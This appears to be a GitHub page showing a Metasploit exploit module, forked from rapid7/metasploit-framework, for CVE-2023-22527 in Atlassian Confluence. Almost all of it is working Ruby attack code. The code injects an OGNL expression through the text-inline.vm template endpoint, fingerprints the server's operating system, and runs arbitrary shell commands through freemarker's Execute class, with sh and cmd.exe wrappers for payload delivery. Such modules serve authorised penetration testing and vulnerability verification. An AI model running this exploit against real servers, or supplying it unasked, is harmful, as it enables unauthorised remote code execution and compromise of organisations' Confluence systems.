forked from rapid7/metasploit-framework
/
atlassian_confluence_rce_cve_2023_22527.rb
151 lines (131 loc) · 4.89 KB
/
atlassian_confluence_rce_cve_2023_22527.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence SSTI Injection',
'Description' => %q{
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses
the injection to evaluate an OGNL expression resulting in OS command execution.
},
'Author' => [
'Rahul Maini', # ProjectDiscovery analysis
'Harsh Jaiswal', # ProjectDiscovery analysis
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-22527'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],
['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']
],
'DisclosureDate' => '2024-01-16', # Atlassian advisory released
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def get_confluence_platform
# this method gets the platform by exploiting CVE-2023-22527
return @confluence_platform if @confluence_platform
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
@org.apache.struts2.ServletActionContext@getResponse().setHeader(
'#{header}',
(@java.lang.System@getProperty('os.name'))
)
OGNL
res = inject_ognl(ognl)
return nil unless res
res.headers[header]
end
def check
confluence_version = get_confluence_version
return CheckCode::Unknown unless confluence_version
vprint_status("Detected Confluence version: #{confluence_version}")
confluence_platform = get_confluence_platform
unless confluence_platform
return CheckCode::Safe('Failed to test OGNL injection.')
end
vprint_status("Detected target platform: #{confluence_platform}")
CheckCode::Vulnerable('Successfully tested OGNL injection.')
end
def exploit
confluence_platform = get_confluence_platform
unless confluence_platform
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
end
unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
end
print_status("Executing #{payload_instance.refname} (#{target.name})")
execute_command(payload.encoded)
end
def execute_command(cmd, _opts = {})
param = rand_text_alphanumeric(6..10)
# reference a parameter in the OGNL to work around the 200 character length limit
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
(new freemarker.template.utility.Execute()).exec(
{@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}
)
OGNL
if target['Platform'] == 'win'
vars_post = { param => "cmd.exe /c \"#{cmd}\"" }
else
vars_post = { param => "sh -c $@|sh . echo #{cmd}" }
end
inject_ognl(ognl, 'vars_post' => vars_post)
end
def inject_ognl(ognl, opts = {})
opts = opts.clone
param = rand_text_alphanumeric(6..10)
final_opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),
'vars_post' => {
# label and param are both limited to a 200 character length by default
'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",
param => ognl
}.merge(opts.delete('vars_post') || {})
}.merge(opts)
send_request_cgi(final_opts)
end
end